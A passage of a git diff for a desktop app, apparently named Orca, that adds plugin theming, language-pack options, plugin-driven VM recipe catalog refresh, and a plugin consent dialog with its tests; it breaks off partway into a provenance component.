+  normalizedTab: ActiveRightSidebarTab
+  setStoredTab: (tab: ActiveRightSidebarTab) => void
+}): void {
+  const { pluginSystemEnabled, fetchStatus, storedTab, normalizedTab, setStoredTab } = input
+  useEffect(() => {
+    if (
+      pluginSystemEnabled &&
+      fetchStatus === 'ready' &&
+      isPluginPanelTabKey(storedTab) &&
+      normalizedTab !== storedTab
+    ) {
+      setStoredTab(normalizedTab)
+    }
+  }, [fetchStatus, normalizedTab, pluginSystemEnabled, setStoredTab, storedTab])
+}
diff --git a/src/renderer/src/components/right-sidebar/use-plugin-panel-theme-revision.test.tsx b/src/renderer/src/components/right-sidebar/use-plugin-panel-theme-revision.test.tsx
new file mode 100644
index 000000000..39a2915f6
--- /dev/null
+++ b/src/renderer/src/components/right-sidebar/use-plugin-panel-theme-revision.test.tsx
@@ -0,0 +1,106 @@
+// @vitest-environment happy-dom
+
+import { act } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, describe, expect, it } from 'vitest'
+import { usePluginPanelThemeRevision } from './use-plugin-panel-theme-revision'
+
+let root: Root | null = null
+let container: HTMLDivElement | null = null
+
+function renderProbe(): { revisions: number[] } {
+  const revisions: number[] = []
+  function Probe(): null {
+    revisions.push(usePluginPanelThemeRevision())
+    return null
+  }
+  container = document.createElement('div')
+  document.body.appendChild(container)
+  root = createRoot(container)
+  act(() => root!.render(<Probe />))
+  return { revisions }
+}
+
+async function flushObserver(): Promise<void> {
+  // MutationObserver delivers on a microtask; give React a chance to re-render.
+  await act(async () => {
+    await Promise.resolve()
+  })
+}
+
+afterEach(() => {
+  act(() => root?.unmount())
+  root = null
+  container?.remove()
+  container = null
+  document.documentElement.className = ''
+  document.documentElement.removeAttribute('style')
+})
+
+describe('usePluginPanelThemeRevision', () => {
+  it('bumps when the root theme class changes', async () => {
+    const { revisions } = renderProbe()
+    const before = revisions.at(-1)
+
+    document.documentElement.className = 'dark'
+    await flushObserver()
+
+    expect(revisions.at(-1)).toBeGreaterThan(before!)
+  })
+
+  it('bumps when root design tokens change', async () => {
+    const { revisions } = renderProbe()
+    const before = revisions.at(-1)
+
+    document.documentElement.style.setProperty('--background', '#000')
+    await flushObserver()
+
+    expect(revisions.at(-1)).toBeGreaterThan(before!)
+  })
+
+  it('ignores mutations outside the document root', async () => {
+    const { revisions } = renderProbe()
+    const before = revisions.at(-1)
+
+    container!.className = 'unrelated'
+    await flushObserver()
+
+    expect(revisions.at(-1)).toBe(before)
+  })
+
+  // The revision keys the panel iframe, so a bump here destroys in-panel state.
+  it('ignores root custom properties the panel shell does not bake in', async () => {
+    const { revisions } = renderProbe()
+    const before = revisions.at(-1)
+
+    // Written every rAF while dragging the sidebar divider.
+    for (const width of [240, 241, 242, 243]) {
+      document.documentElement.style.setProperty('--workspace-sidebar-live-width', `${width}px`)
+      await flushObserver()
+    }
+
+    expect(revisions.at(-1)).toBe(before)
+  })
+
+  it('ignores a class change that leaves the color scheme alone', async () => {
+    const { revisions } = renderProbe()
+    const before = revisions.at(-1)
+
+    document.documentElement.classList.add('theme-transition-disabled')
+    await flushObserver()
+
+    expect(revisions.at(-1)).toBe(before)
+  })
+
+  it('bumps once when a token settles on a new value', async () => {
+    const { revisions } = renderProbe()
+    const before = revisions.at(-1)
+
+    document.documentElement.style.setProperty('--background', '#111')
+    await flushObserver()
+    document.documentElement.style.setProperty('--background', '#111')
+    await flushObserver()
+
+    expect(revisions.at(-1)).toBe(before! + 1)
+  })
+})
diff --git a/src/renderer/src/components/right-sidebar/use-plugin-panel-theme-revision.ts b/src/renderer/src/components/right-sidebar/use-plugin-panel-theme-revision.ts
new file mode 100644
index 000000000..98894a978
--- /dev/null
+++ b/src/renderer/src/components/right-sidebar/use-plugin-panel-theme-revision.ts
@@ -0,0 +1,33 @@
+import { useEffect, useRef, useState } from 'react'
+import { buildPanelDesignTokenCss, currentPanelColorScheme } from './plugin-panel-design-token-css'
+
+/** The exact shell inputs; anything else on the root must not rebuild the frame. */
+function readPanelThemeSnapshot(): string {
+  return `${currentPanelColorScheme()}|${buildPanelDesignTokenCss()}`
+}
+
+/** Changes only when the values baked into the panel shell actually change. */
+export function usePluginPanelThemeRevision(): number {
+  const [revision, setRevision] = useState(0)
+  // Why: the revision keys the panel iframe, so remounting it destroys in-panel
+  // state. Root style writes fire at rAF cadence during a sidebar drag, so
+  // compare the baked values instead of counting mutations.
+  const snapshotRef = useRef<string | null>(null)
+  useEffect(() => {
+    snapshotRef.current ??= readPanelThemeSnapshot()
+    const observer = new MutationObserver(() => {
+      const snapshot = readPanelThemeSnapshot()
+      if (snapshot === snapshotRef.current) {
+        return
+      }
+      snapshotRef.current = snapshot
+      setRevision((current) => current + 1)
+    })
+    observer.observe(document.documentElement, {
+      attributes: true,
+      attributeFilter: ['class', 'style']
+    })
+    return () => observer.disconnect()
+  }, [])
+  return revision
+}
diff --git a/src/renderer/src/components/settings/AppearanceInterfaceSection.tsx b/src/renderer/src/components/settings/AppearanceInterfaceSection.tsx
index d8ddf4819..551485cb3 100644
--- a/src/renderer/src/components/settings/AppearanceInterfaceSection.tsx
+++ b/src/renderer/src/components/settings/AppearanceInterfaceSection.tsx
@@ -32,6 +32,7 @@ import {
 import { translate } from '@/i18n/i18n'
 import type { UiLanguage } from '../../../../shared/ui-language'
 import { matchesSettingsSearch, normalizeSettingsSearchQuery } from './settings-search'
+import { usePluginLanguagePacks } from '@/store/plugin-language-packs'
 
 type AppearanceInterfaceSectionProps = {
   settings: GlobalSettings
@@ -55,6 +56,7 @@ export function AppearanceInterfaceSection({
   forceVisiblePrimary = false
 }: AppearanceInterfaceSectionProps): React.JSX.Element {
   const searchQuery = useAppStore((state) => state.settingsSearchQuery)
+  const pluginLanguagePacks = usePluginLanguagePacks()
   const isSearching = normalizeSettingsSearchQuery(searchQuery).length > 0
   const zoomInKeyCombos = useShortcutKeyComboDetails('zoom.in')
   const zoomOutKeyCombos = useShortcutKeyComboDetails('zoom.out')
@@ -134,6 +136,11 @@ export function AppearanceInterfaceSection({
                       {getUiLanguageChoiceLabel(choice, translate)}
                     </SelectItem>
                   ))}
+                  {pluginLanguagePacks.map((pack) => (
+                    <SelectItem key={pack.id} value={pack.id}>
+                      {pack.locale} — {pack.pluginKey}
+                    </SelectItem>
+                  ))}
                 </SelectContent>
               </Select>
             }
diff --git a/src/renderer/src/components/settings/EphemeralVmsPane.test.tsx b/src/renderer/src/components/settings/EphemeralVmsPane.test.tsx
index 9d38a052b..a72b2f455 100644
--- a/src/renderer/src/components/settings/EphemeralVmsPane.test.tsx
+++ b/src/renderer/src/components/settings/EphemeralVmsPane.test.tsx
@@ -54,6 +54,7 @@ describe('EphemeralVmsPane', () => {
     globalThis.IS_REACT_ACT_ENVIRONMENT = true
     toastMocks.error.mockClear()
     storeMocks.openModal.mockClear()
+    let pluginChangeListener: ((event: { contentPacksChanged: boolean }) => void) | null = null
     Object.assign(globalThis.window, {
       api: {
         ephemeralVm: {
@@ -94,6 +95,15 @@ describe('EphemeralVmsPane', () => {
         },
         ui: {
           writeClipboardText: vi.fn().mockResolvedValue(undefined)
+        },
+        plugins: {
+          onChanged: vi.fn((listener) => {
+            pluginChangeListener = listener
+            return () => {
+              pluginChangeListener = null
+            }
+          }),
+          emitContentChanged: () => pluginChangeListener?.({ contentPacksChanged: true })
         }
       }
     })
@@ -129,4 +139,69 @@ describe('EphemeralVmsPane', () => {
       telemetrySource: 'settings'
     })
   })
+
+  it('refreshes the catalog when plugin content changes', async () => {
+    const listRecipeCatalog = window.api.ephemeralVm.listRecipeCatalog as ReturnType<typeof vi.fn>
+    const container = await renderPane()
+    await vi.waitFor(() => expect(container.textContent).toContain('Cloud Sandbox'))
+    listRecipeCatalog.mockResolvedValueOnce([
+      {
+        repoId: 'repo-1',
+        repoName: 'Repo',
+        repoPath: '/repo',
+        diagnostics: [],
+        recipes: [{ id: 'plugin-recipe', name: 'Plugin Recipe', create: 'create' }]
+      }
+    ])
+
+    await act(async () => {
+      ;(window.api.plugins as never as { emitContentChanged: () => void }).emitContentChanged()
+    })
+
+    await vi.waitFor(() => expect(container.textContent).toContain('Plugin Recipe'))
+    expect(listRecipeCatalog).toHaveBeenCalledTimes(2)
+  })
+
+  it('ignores an older refresh that finishes after a plugin-content refresh', async () => {
+    const listRecipeCatalog = window.api.ephemeralVm.listRecipeCatalog as ReturnType<typeof vi.fn>
+    let resolveInitial!: (catalog: unknown[]) => void
+    listRecipeCatalog
+      .mockReset()
+      .mockReturnValueOnce(
+        new Promise((resolve) => {
+          resolveInitial = resolve
+        })
+      )
+      .mockResolvedValueOnce([
+        {
+          repoId: 'repo-1',
+          repoName: 'Repo',
+          repoPath: '/repo',
+          diagnostics: [],
+          recipes: [{ id: 'new', name: 'Newest Recipe', create: 'create' }]
+        }
+      ])
+
+    const container = await renderPane()
+    await act(async () => {
+      ;(window.api.plugins as never as { emitContentChanged: () => void }).emitContentChanged()
+    })
+    await vi.waitFor(() => expect(container.textContent).toContain('Newest Recipe'))
+
+    await act(async () => {
+      resolveInitial([
+        {
+          repoId: 'repo-1',
+          repoName: 'Repo',
+          repoPath: '/repo',
+          diagnostics: [],
+          recipes: [{ id: 'stale', name: 'Stale Recipe', create: 'create' }]
+        }
+      ])
+      await Promise.resolve()
+    })
+
+    expect(container.textContent).toContain('Newest Recipe')
+    expect(container.textContent).not.toContain('Stale Recipe')
+  })
 })
diff --git a/src/renderer/src/components/settings/EphemeralVmsPane.tsx b/src/renderer/src/components/settings/EphemeralVmsPane.tsx
index f1a34a039..16a1bf7e0 100644
--- a/src/renderer/src/components/settings/EphemeralVmsPane.tsx
+++ b/src/renderer/src/components/settings/EphemeralVmsPane.tsx
@@ -1,6 +1,6 @@
 import { ArrowRight, Check, Copy, Loader2, RefreshCw, Server } from 'lucide-react'
 import type React from 'react'
-import { useCallback, useEffect, useState } from 'react'
+import { useCallback, useEffect, useRef, useState } from 'react'
 import { toast } from 'sonner'
 import { useMountedRef } from '@/hooks/useMountedRef'
 import { useAppStore } from '@/store'
@@ -44,6 +44,7 @@ export function EphemeralVmsPane(): React.JSX.Element {
   const [isLoading, setIsLoading] = useState(true)
   const [promptCopied, setPromptCopied] = useState(false)
   const mountedRef = useMountedRef()
+  const refreshGenerationRef = useRef(0)
 
   const installCommand =
     activeSkillRuntime.agentRuntime && !activeSkillRuntime.installDisabledReason
@@ -71,16 +72,17 @@ export function EphemeralVmsPane(): React.JSX.Element {
   })
 
   const refresh = useCallback(async (): Promise<void> => {
+    const generation = ++refreshGenerationRef.current
     if (mountedRef.current) {
       setIsLoading(true)
     }
     try {
       const nextCatalog = await window.api.ephemeralVm.listRecipeCatalog()
-      if (mountedRef.current) {
+      if (mountedRef.current && generation === refreshGenerationRef.current) {
         setCatalog(nextCatalog)
       }
     } catch (error) {
-      if (mountedRef.current) {
+      if (mountedRef.current && generation === refreshGenerationRef.current) {
         toast.error(
           error instanceof Error
             ? error.message
@@ -91,7 +93,7 @@ export function EphemeralVmsPane(): React.JSX.Element {
         )
       }
     } finally {
-      if (mountedRef.current) {
+      if (mountedRef.current && generation === refreshGenerationRef.current) {
         setIsLoading(false)
       }
     }
@@ -101,6 +103,17 @@ export function EphemeralVmsPane(): React.JSX.Element {
     void refresh()
   }, [refresh])
 
+  useEffect(() => {
+    if (!window.api.plugins?.onChanged) {
+      return
+    }
+    return window.api.plugins.onChanged((event) => {
+      if (event?.contentPacksChanged ?? true) {
+        void refresh()
+      }
+    })
+  }, [refresh])
+
   const openWorkspaceComposerForRecipe = (repoId: string, recipeId: string): void => {
     openModal('new-workspace-composer', {
       initialRepoId: repoId,
@@ -236,7 +249,7 @@ export function EphemeralVmsPane(): React.JSX.Element {
             <p className="text-xs text-muted-foreground">
               {translate(
                 'auto.components.settings.EphemeralVmsPane.recipesHelp',
-                'Recipes your agent adds to orca.yaml show up here, ready to launch a workspace on.'
+                'Recipes from orca.yaml and enabled plugins show up here, ready to launch a workspace on.'
               )}
             </p>
           </div>
diff --git a/src/renderer/src/components/settings/PluginConsentDialog.test.tsx b/src/renderer/src/components/settings/PluginConsentDialog.test.tsx
new file mode 100644
index 000000000..602011680
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginConsentDialog.test.tsx
@@ -0,0 +1,272 @@
+// @vitest-environment happy-dom
+
+import { act, useState } from 'react'
+import { createRoot } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type { PluginHostListEntry } from '../../../../preload/api-types'
+import { PluginConsentDialog } from './PluginConsentDialog'
+
+const plugin: PluginHostListEntry = {
+  pluginKey: 'acme.worker',
+  consentFingerprint: 'sha256-acme-worker',
+  name: 'Acme Worker',
+  version: '1.2.3',
+  publisher: 'acme',
+  status: 'pending',
+  needsReconsent: false,
+  isDev: false,
+  official: false,
+  bundled: false,
+  capabilities: [{ kind: 'worker', description: 'Run a background worker process' }],
+  panels: [],
+  commands: [],
+  hasWorker: true,
+  restarts: 0,
+  source: {
+    kind: 'git',
+    reference: 'https://gitlab.example/acme/worker#v1.2.3',
+    resolvedCommit: '0123456789abcdef',
+    contentHash: 'sha256'
+  }
+}
+
+beforeEach(() => {
+  Object.defineProperty(window, 'api', {
+    configurable: true,
+    value: { plugins: {} }
+  })
+})
+
+afterEach(() => {
+  document.body.innerHTML = ''
+  Reflect.deleteProperty(window, 'api')
+})
+
+async function renderConsent(
+  entry: PluginHostListEntry,
+  onDecision: (
+    key: string,
+    reviewedFingerprint: string,
+    decision: 'approve' | 'keep-disabled'
+  ) => Promise<void>
+): Promise<void> {
+  const container = document.createElement('div')
+  document.body.appendChild(container)
+  const root = createRoot(container)
+  function Harness(): React.JSX.Element {
+    const [selected, setSelected] = useState<PluginHostListEntry | null>(entry)
+    return (
+      <PluginConsentDialog
+        plugin={selected}
+        onDecision={async (key, reviewedFingerprint, decision) => {
+          await onDecision(key, reviewedFingerprint, decision)
+          setSelected(null)
+        }}
+      />
+    )
+  }
+  await act(async () => root.render(<Harness />))
+  await act(() => new Promise<void>((resolve) => queueMicrotask(resolve)))
+}
+
+describe('PluginConsentDialog', () => {
+  it('keeps the displayed fingerprint immutable during a same-key update', async () => {
+    const container = document.createElement('div')
+    document.body.appendChild(container)
+    const root = createRoot(container)
+    const onDecision = vi.fn().mockResolvedValue(undefined)
+    await act(async () => {
+      root.render(<PluginConsentDialog plugin={plugin} onDecision={onDecision} />)
+    })
+    await act(async () => {
+      root.render(
+        <PluginConsentDialog
+          plugin={{
+            ...plugin,
+            consentFingerprint: 'sha256-unreviewed-update',
+            capabilities: [{ kind: 'secrets:read', description: 'Read a newly added secret' }]
+          }}
+          onDecision={onDecision}
+        />
+      )
+    })
+
+    expect(document.body.textContent).not.toContain('Read a newly added secret')
+    const enable = Array.from(document.querySelectorAll('button')).find(
+      (candidate) => candidate.textContent?.trim() === 'Enable plugin'
+    )
+    await act(async () => enable?.dispatchEvent(new MouseEvent('click', { bubbles: true })))
+
+    expect(onDecision).toHaveBeenCalledWith(plugin.pluginKey, plugin.consentFingerprint, 'approve')
+  })
+
+  it('shows provenance, capabilities, worker warning, and focuses the safe default', async () => {
+    await renderConsent(plugin, vi.fn().mockResolvedValue(undefined))
+
+    // Provenance leads with a short badge + a short trust chip; the full
+    // source URL and commit are tucked behind the "Source" details popover.
+    expect(document.body.textContent).toContain(plugin.publisher)
+    expect(document.body.textContent).toContain('Worker')
+    expect(
+      Array.from(document.querySelectorAll('button')).some(
+        (candidate) => candidate.textContent?.trim() === 'Source'
+      )
+    ).toBe(true)
+    expect(document.body.textContent).toContain('Run a background worker process')
+    expect(document.body.textContent).toContain(
+      'full access to your files, network, and other processes'
+    )
+    expect(document.querySelector('[role="dialog"]')?.classList).toContain('plugin-security-chrome')
+    expect(document.activeElement?.textContent).toContain('Keep Disabled')
+  })
+
+  it('explains that panel-only plugins have no worker process', async () => {
+    await renderConsent(
+      {
+        ...plugin,
+        pluginKey: 'acme.panel',
+        name: 'Acme Panel',
+        hasWorker: false,
+        capabilities: [{ kind: 'panels', description: 'Add an Acme panel' }]
+      },
+      vi.fn().mockResolvedValue(undefined)
+    )
+
+    expect(document.body.textContent).toContain(
+      "These permissions limit how the plugin uses Orca's API. This plugin has no background worker."
+    )
+    expect(document.body.textContent).not.toContain('full access to your files')
+  })
+
+  it('describes inert content without pretending it requested permissions', async () => {
+    await renderConsent(
+      {
+        ...plugin,
+        pluginKey: 'acme.icons',
+        name: 'Acme Icons',
+        hasWorker: false,
+        capabilities: []
+      },
+      vi.fn().mockResolvedValue(undefined)
+    )
+
+    expect(document.body.textContent).toContain('Review plugin')
+    expect(document.body.textContent).toContain('Declarative')
+    expect(document.body.textContent).toContain(
+      "This plugin contributes validated content only. It does not run a background worker or receive access to Orca's API."
+    )
+    expect(document.body.textContent).not.toContain('These permissions limit')
+  })
+
+  it('shows every VM recipe lifecycle command verbatim', async () => {
+    await renderConsent(
+      {
+        ...plugin,
+        hasWorker: false,
+        capabilities: [],
+        vmRecipes: [
+          {
+            id: 'cloud',
+            name: 'Cloud Sandbox',
+            description: 'Creates a disposable VM.',
+            commands: [
+              { phase: 'create', command: './scripts/create.sh --exact "$VALUE"' },
+              { phase: 'suspend', command: './scripts/suspend.sh' },
+              { phase: 'resume', command: './scripts/resume.sh' },
+              { phase: 'destroy', command: 'none' }
+            ]
+          }
+        ]
+      },
+      vi.fn().mockResolvedValue(undefined)
+    )
+
+    expect(document.body.textContent).toContain('Instructional')
+    expect(document.body.textContent).toContain('Review plugin content')
+    expect(document.body.textContent).toContain(
+      'Its instructional content can still cause actions when you or an agent use it.'
+    )
+    expect(document.body.textContent).toContain('./scripts/create.sh --exact "$VALUE"')
+    expect(document.body.textContent).toContain('./scripts/suspend.sh')
+    expect(document.body.textContent).toContain('./scripts/resume.sh')
+    expect(document.body.textContent).toContain('Destroynone')
+    const commands = Array.from(document.querySelectorAll('pre'))
+    expect(commands).toHaveLength(4)
+    expect(commands[0]?.tabIndex).toBe(0)
+    expect(commands[0]?.getAttribute('aria-label')).toBe('Cloud Sandbox · Create command')
+  })
+
+  it('shows plugin shortcuts and names built-in chords they replace', async () => {
+    await renderConsent(
+      {
+        ...plugin,
+        hasWorker: false,
+        capabilities: [],
+        commands: [
+          {
+            id: 'tasks',
+            title: 'Open Tasks',
+            context: 'global',
+            handler: { type: 'built-in', action: 'view.tasks' },
+            keybindings: [{ key: 'Mod+P', when: 'global' }]
+          }
+        ]
+      },
+      vi.fn().mockResolvedValue(undefined)
+    )
+
+    expect(document.body.textContent).toContain('Review plugin content')
+    expect(document.body.textContent).toContain('Keyboard shortcuts')
+    expect(document.body.textContent).toContain('Open Tasks')
+    expect(document.body.textContent).toContain('Replaces: Go to File')
+  })
+
+  it('records Keep Disabled when Escape dismisses the dialog', async () => {
+    const onDecision = vi.fn().mockResolvedValue(undefined)
+    await renderConsent(plugin, onDecision)
+
+    await act(async () => {
+      document.dispatchEvent(new KeyboardEvent('keydown', { key: 'Escape', bubbles: true }))
+    })
+
+    expect(onDecision).toHaveBeenCalledWith(
+      plugin.pluginKey,
+      plugin.consentFingerprint,
+      'keep-disabled'
+    )
+  })
+
+  it('labels re-consent generically and enables only after an explicit action', async () => {
+    const onDecision = vi.fn().mockResolvedValue(undefined)
+    await renderConsent({ ...plugin, needsReconsent: true }, onDecision)
+    expect(document.body.textContent).toContain(
+      'Permissions, the worker trust tier, or instructional content changed'
+    )
+    const enable = Array.from(document.querySelectorAll('button')).find(
+      (button) => button.textContent?.trim() === 'Enable plugin'
+    )
+    if (!enable) {
+      throw new Error('missing enable action')
+    }
+
+    await act(async () => enable.dispatchEvent(new MouseEvent('click', { bubbles: true })))
+
+    expect(onDecision).toHaveBeenCalledWith(plugin.pluginKey, plugin.consentFingerprint, 'approve')
+  })
+
+  it('explains how to recover when the reviewed plugin changed', async () => {
+    const onDecision = vi
+      .fn()
+      .mockRejectedValue(new Error('reviewed fingerprint is no longer current'))
+    await renderConsent(plugin, onDecision)
+    const enable = Array.from(document.querySelectorAll('button')).find(
+      (button) => button.textContent?.trim() === 'Enable plugin'
+    )
+
+    await act(async () => enable?.dispatchEvent(new MouseEvent('click', { bubbles: true })))
+
+    expect(document.body.textContent).toContain(
+      'The plugin changed while you were reviewing it. Close this dialog and review the updated permissions.'
+    )
+  })
+})
diff --git a/src/renderer/src/components/settings/PluginConsentDialog.tsx b/src/renderer/src/components/settings/PluginConsentDialog.tsx
new file mode 100644
index 000000000..f0b39d05b
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginConsentDialog.tsx
@@ -0,0 +1,255 @@
+import { useRef, useState } from 'react'
+import { AlertTriangle, Check, Loader2 } from 'lucide-react'
+import type { PluginHostListEntry } from '../../../../preload/api-types'
+import { translate } from '@/i18n/i18n'
+import { pluginConsentErrorMessage } from './plugin-error-presentation'
+import { Button } from '../ui/button'
+import { PluginVmRecipeConsentPreview } from './PluginVmRecipeConsentPreview'
+import { PluginKeybindingConsentPreview } from './PluginKeybindingConsentPreview'
+import { PluginConsentProvenance } from './PluginConsentProvenance'
+import { pluginCapabilityDescription } from './plugin-capability-presentation'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '../ui/dialog'
+
+type PluginConsentDialogProps = {
+  plugin: PluginHostListEntry | null
+  onDecision: (
+    pluginKey: string,
+    reviewedFingerprint: string,
+    decision: 'approve' | 'keep-disabled'
+  ) => Promise<void>
+}
+
+function trustTier(plugin: PluginHostListEntry): string {
+  if (plugin.hasWorker) {
+    return translate(
+      'auto.components.settings.PluginConsentDialog.workerTrust',
+      'Background worker — runs its own process'
+    )
+  }
+  if (hasInstructionalContent(plugin)) {
+    return translate(
+      'auto.components.settings.PluginConsentDialog.instructionalTrust',
+      'Instructional content — runs later under user or agent authority'
+    )
+  }
+  if (plugin.panels.length === 0 && plugin.capabilities.length === 0) {
+    return translate(
+      'auto.components.settings.PluginConsentDialog.declarativeTrust',
+      'Declarative content — no plugin code'
+    )
+  }
+  return translate(
+    'auto.components.settings.PluginConsentDialog.panelTrust',
+    'Panel or host-integrated content — no worker process'
+  )
+}
+
+function hasInstructionalContent(plugin: PluginHostListEntry): boolean {
+  return (
+    (plugin.vmRecipes?.length ?? 0) > 0 ||
+    plugin.commands.some((command) => command.keybindings.length > 0)
+  )
+}
+
+/** Short one-word trust label for the header chip; the single warning below
+ *  carries the full explanation. */
+function trustTierShort(plugin: PluginHostListEntry): string {
+  if (plugin.hasWorker) {
+    return translate('auto.components.settings.PluginConsentDialog.trustShortWorker', 'Worker')
+  }
+  if (hasInstructionalContent(plugin)) {
+    return translate(
+      'auto.components.settings.PluginConsentDialog.trustShortInstructional',
+      'Instructional'
+    )
+  }
+  if (plugin.panels.length > 0 || plugin.capabilities.length > 0) {
+    return translate('auto.components.settings.PluginConsentDialog.trustShortPanel', 'Panel')
+  }
+  return translate(
+    'auto.components.settings.PluginConsentDialog.trustShortDeclarative',
+    'Declarative'
+  )
+}
+
+function consentTitle(plugin: PluginHostListEntry): string {
+  if (!plugin.hasWorker && plugin.capabilities.length === 0 && !hasInstructionalContent(plugin)) {
+    return translate('auto.components.settings.PluginConsentDialog.reviewTitle', 'Review plugin')
+  }
+  if (!hasInstructionalContent(plugin)) {
+    return translate('auto.components.settings.PluginConsentDialog.title', 'Review permissions')
+  }
+  if (plugin.hasWorker || plugin.capabilities.length > 0) {
+    return translate(
+      'auto.components.settings.PluginConsentDialog.mixedTitle',
+      'Review access and content'
+    )
+  }
+  return translate(
+    'auto.components.settings.PluginConsentDialog.instructionalTitle',
+    'Review plugin content'
+  )
+}
+
+export function PluginConsentDialog({
+  plugin: currentPlugin,
+  onDecision
+}: PluginConsentDialogProps): React.JSX.Element {
+  // Why: a same-key update must not replace the trust boundary while the user is reviewing it.
+  const plugin = useRef(currentPlugin).current
+  const keepDisabledRef = useRef<HTMLButtonElement>(null)
+  const [busyDecision, setBusyDecision] = useState<'approve' | 'keep-disabled' | null>(null)
+  const [error, setError] = useState<string | null>(null)
+  const decide = async (decision: 'approve' | 'keep-disabled'): Promise<void> => {
+    if (!plugin?.consentFingerprint || busyDecision) {
+      return
+    }
+    setBusyDecision(decision)
+    setError(null)
+    try {
+      // Why: consent is conditional on the exact trust boundary rendered by this dialog.
+      await onDecision(plugin.pluginKey, plugin.consentFingerprint, decision)
+    } catch (cause) {
+      console.warn('[plugins] consent update failed:', cause)
+      setError(pluginConsentErrorMessage(cause))
+    } finally {
+      setBusyDecision(null)
+    }
+  }
+
+  return (
+    <Dialog
+      open={Boolean(plugin)}
+      onOpenChange={(open) => {
+        if (!open) {
+          void decide('keep-disabled')
+        }
+      }}
+    >
+      <DialogContent
+        className="plugin-security-chrome max-h-[calc(100vh-3rem)] overflow-y-auto scrollbar-sleek sm:max-w-xl"
+        onOpenAutoFocus={(event) => {
+          // Why: dismissal is the safety-preserving path, so it receives initial focus.
+          event.preventDefault()
+          keepDisabledRef.current?.focus()
+        }}
+      >
+        {plugin ? (
+          <>
+            <DialogHeader>
+              <DialogTitle>{consentTitle(plugin)}</DialogTitle>
+              <DialogDescription>
+                {translate(
+                  'auto.components.settings.PluginConsentDialog.subtitle',
+                  '{{value0}} v{{value1}} · {{value2}}',
+                  { value0: plugin.name, value1: plugin.version, value2: plugin.publisher }
+                )}
+              </DialogDescription>
+            </DialogHeader>
+            {plugin.needsReconsent ? (
+              <p className="border-l-2 border-foreground/25 py-0.5 pl-3 text-sm leading-6">
+                {translate(
+                  'auto.components.settings.PluginConsentDialog.reconsent',
+                  'Permissions, the worker trust tier, or instructional content changed since you last reviewed this plugin. Review it again before it can run.'
+                )}
+              </p>
+            ) : null}
+            <div className="flex flex-wrap items-center gap-2">
+              <PluginConsentProvenance
+                official={plugin.official}
+                publisher={plugin.publisher}
+                source={plugin.source}
+              />
+              <span
+                className="inline-flex items-center rounded-full border border-border bg-muted/40 px-2 py-0.5 text-[11px] font-medium text-muted-foreground"
+                title={trustTier(plugin)}
+              >
+                {trustTierShort(plugin)}
+              </span>
+            </div>
+            {plugin.capabilities.length > 0 ? (
+              <div className="space-y-2">
+                <p className="text-[11px] font-semibold uppercase tracking-[0.05em] text-muted-foreground">
+                  {translate(
+                    'auto.components.settings.PluginConsentDialog.capabilities',
+                    'This plugin can'
+                  )}
+                </p>
+                <div className="space-y-2">
+                  {plugin.capabilities.map((capability) => (
+                    <div key={capability.kind} className="flex items-start gap-2 text-sm leading-6">
+                      <Check className="mt-1 size-3.5 shrink-0 text-muted-foreground" />
+                      <span>
+                        {pluginCapabilityDescription(capability.kind, capability.description)}{' '}
+                        <span className="font-mono text-[11px] text-muted-foreground">
+                          ({capability.kind})
+                        </span>
+                      </span>
+                    </div>
+                  ))}
+                </div>
+              </div>
+            ) : null}
+            <div className="flex items-start gap-2 rounded-md border border-border bg-muted/50 px-3.5 py-3 text-sm leading-6">
+              <AlertTriangle className="mt-1 size-4 shrink-0" />
+              <span>
+                {plugin.hasWorker
+                  ? translate(
+                      'auto.components.settings.PluginConsentDialog.warning',
+                      "These permissions limit how the plugin uses Orca's API. Its worker still runs as a normal process on your computer with full access to your files, network, and other processes."
+                    )
+                  : hasInstructionalContent(plugin)
+                    ? translate(
+                        'auto.components.settings.PluginConsentDialog.instructionalWarning',
+                        'This plugin has no worker process. Its instructional content can still cause actions when you or an agent use it. Review the instructions and commands below before enabling it.'
+                      )
+                    : plugin.capabilities.length > 0 || plugin.panels.length > 0
+                      ? translate(
+                          'auto.components.settings.PluginConsentDialog.panelWarning',
+                          "These permissions limit how the plugin uses Orca's API. This plugin has no background worker."
+                        )
+                      : translate(
+                          'auto.components.settings.PluginConsentDialog.declarativeWarning',
+                          "This plugin contributes validated content only. It does not run a background worker or receive access to Orca's API."
+                        )}
+              </span>
+            </div>
+            <PluginKeybindingConsentPreview commands={plugin.commands} />
+            <PluginVmRecipeConsentPreview recipes={plugin.vmRecipes ?? []} />
+            {error ? <p className="text-xs text-destructive">{error}</p> : null}
+            <DialogFooter>
+              <Button
+                ref={keepDisabledRef}
+                variant="ghost"
+                size="sm"
+                disabled={Boolean(busyDecision)}
+                onClick={() => void decide('keep-disabled')}
+              >
+                {busyDecision === 'keep-disabled' ? <Loader2 className="animate-spin" /> : null}
+                {translate(
+                  'auto.components.settings.PluginConsentDialog.keepDisabled',
+                  'Keep Disabled'
+                )}
+              </Button>
+              <Button
+                size="sm"
+                disabled={Boolean(busyDecision)}
+                onClick={() => void decide('approve')}
+              >
+                {busyDecision === 'approve' ? <Loader2 className="animate-spin" /> : null}
+                {translate('auto.components.settings.PluginConsentDialog.enable', 'Enable plugin')}
+              </Button>
+            </DialogFooter>
+          </>
+        ) : null}
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/src/renderer/src/components/settings/PluginConsentProvenance.tsx b/src/renderer/src/components/settings/PluginConsentProvenance.tsx
new file mode 100644
index 000000000..299507b44
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginConsentProvenance.tsx
@@ -0,0 +1,129 @@
+import { BadgeCheck, Info } from 'lucide-react'
+import { translate } from '@/i18n/i18n'
+import { Badge } from '../ui/badge'
+import { Button } from '../ui/button'
+import { Popover, PopoverContent, PopoverTrigger } from '../ui/popover'
+
+/** Review dialogs lead with trust, not a metadata table: badge up front, details on demand. */
+
+export type PluginConsentSource = {
+  kind: 'local-path' | 'git' | 'marketplace' | 'bundled'
+  reference: string
+  resolvedCommit: string | null
+  marketplace?: { reference: string; resolvedCommit: string }
+}
+
+type PluginConsentProvenanceProps = {
+  official: boolean
+  publisher: string
+  source?: PluginConsentSource
+}
+
+function shortCommit(commit: string | null | undefined): string | null {
